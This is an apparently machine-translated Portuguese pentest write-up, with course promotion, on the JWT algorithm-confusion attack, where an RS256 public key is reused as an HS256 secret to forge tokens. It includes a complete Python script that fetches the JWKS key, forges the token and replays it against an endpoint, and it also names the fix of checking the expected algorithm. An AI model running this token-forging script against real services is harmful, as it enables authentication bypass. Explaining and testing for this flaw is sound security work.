JWT: ataque de assinatura digital vs ataque de MAC

Olá pessoal. Não é segredo que todo mês a OTUS lança vários cursos exclusivos completamente novos, este mês o Pentest. Prática de teste de penetração . De acordo com uma tradição estabelecida, na véspera do início do curso, estamos compartilhando com você a tradução de material útil nesta área.





Durante o último teste, deparei-me com um esquema de autorização baseado no JSON Web Token (ou apenas no JWT). O JWT consiste em três partes: cabeçalho, carga útil, informações de verificação. A primeira parte do cabeçalho contém o nome do algoritmo, que será usado posteriormente para a parte de verificação do JWT. Isso é perigoso porque um invasor pode modificar essas informações e, assim, (possivelmente) controlar qual esquema o servidor usará para verificação.

Dois circuitos são comumente usados: RS256 ( algoritmo de assinatura digital ) e HS256 ( algoritmo baseado em MAC ). Uma opção completamente insegura seria um esquema NULL: não inclua informações de verificação - infelizmente o esquema NULL não foi aceito pelo servidor da web de destino.

Uma pequena variação no ataque de type confusion JWT que pode funcionar se a implementação do servidor usar uma biblioteca de validação que simplesmente chame código como verificar (token, chave) e pressupõe que apenas tokens assinados digitalmente serão usados. Nesse caso, o segundo parâmetro "chave" será sempre público e será apresentado para verificação (assinaturas digitais usam a chave privada para criar uma assinatura e a chave pública correspondente para verificar a assinatura criada).

Agora, o invasor pode obter a chave pública, criar um novo token baseado em MAC e usá-lo para criar parte da verificação desse token. Em um esquema baseado em MAC, apenas uma chave secreta é necessária para criar informações de verificação e, portanto, o invasor usa uma chave pública (assinatura digital) como chave secreta para o MAC. Se esse token agora for passado ao servidor para verificação, a biblioteca identificará o esquema que será usado para o token (que foi definido pelo invasor como HS256, apontando para o esquema MAC). A biblioteca usará o segundo parâmetro como entrada para criar o MAC. Como essa é uma chave pública, o novo MAC corresponde ao MAC que foi transmitido aos atacantes e, como eles correspondem, o servidor aceitará um token falso. O que, então, o desenvolvedor de aplicativos deve fazer? Se o token for aceito pelo servidor, o servidor sempre deve verificar se o algoritmo usado corresponde ao que foi originalmente planejado pelo desenvolvedor.

Teoricamente, isso deve ser fácil de verificar, mas não encontrei uma ferramenta de trabalho. Portanto, eu mesmo escrevi um script python. Para usá-lo, no código-fonte você deve usar as seguintes configurações:

  • jwks_url : onde posso obter informações sobre a chave pública. O JWKS é usado por muitos serviços para distribuir abertamente as principais informações.
  • operation_url : uma solicitação HTTP GET que usa um token JWT para autorização.
  • token : um JWT válido para uma operação configurada.
  • audience : o público para o qual o token foi configurado.

O script faz o seguinte:

  • Faça o download do arquivo de configuração JWKS e recupere as configurações da chave pública. A partir disso, uma representação de pem é criada.
  • Garante que o token configurado possa ser verificado usando a chave pública extraída;
  • Executa uma operação configurada com um token válido e exibe o código de status HTTP recebido e o documento resultante (pressupõe-se que seja JSON).
  • Cria um novo token com base no configurado. No novo token, o tipo será alterado para HS256; Um MAC (baseado em uma chave aberta) será computado e usado como informação de verificação para o token.
  • Executa a operação configurada novamente com o token modificado e exibe o código de status HTTP, bem como o documento retornado.

Como o código de status de retorno (com um token modificado) era 401 (a autorização é proibida), as verificações de autorização no lado do servidor de destino funcionaram e, portanto, não foram comprometidas pelo ataque de assinatura vs mac. Se isso funcionasse, códigos de status idênticos e documentos resultantes semelhantes seriam criados com as chamadas HTTP (com o original e com o token modificado).

Espero que este artigo o ajude em sua prática de teste, use o script python com prazer:

 import jwt import requests from jwcrypto import jwk from cryptography.x509 import load_pem_x509_certificate from cryptography.hazmat.backends import default_backend # configuration jwks_url = "https://localhost/oauth2/.well-known/jwks.json" operation_url = "https://localhost/web/v1/user/andy" audience = "https://localhost" token = "eyJh..." # retrieves key from jwks def retrieve_jwks(url): r = requests.get(url) if r.status_code == 200: for key in r.json()['keys']: if key['kty'] == "RSA": return jwk.JWK(**key) print("no usable RSA key found") else: print("could not retrieve JWKS: HTTP status code " + str(r.status_code)) def extract_payload(token, public_key, audience): return jwt.decode(token, public_key, audience=audience, algorithms='RS256') def retrieve_url(url, token): header = {'Authorization' : "Bearer " + token} return requests.get(url, headers=header) # call the original operation and output it's results original = retrieve_url(operation_url, token) print("original: status: " + str(original.status_code) + "\nContent: " + str(original.json())) # get key and extract the original payload (verify it during decoding to make # sure that we have the right key, also verify the audience claim) public_key = retrieve_jwks(jwks_url).export_to_pem() payload = extract_payload(token, public_key, audience) print("(verified) payload: " + str(payload)) # create a new token based upon HS256, cause the jwt library checks this # to prevent against confusion attacks.. that we actually try to do (: mac_key = str(public_key).replace("PUBLIC", "PRIVATE") hs256_token = jwt.encode(payload, key=mac_key, algorithm="HS256") # call the operation with the new token modified = retrieve_url(operation_url, str(hs256_token)) print("modified: status: " + str(modified.status_code) + "\nContent: " + str(modified.json())) 

Só isso. Aguardamos todos que leram até o final em um seminário on-line gratuito sobre o tema: "Como começar a resolver erros na Web" .

Source: https://habr.com/ru/post/pt467015/


All Articles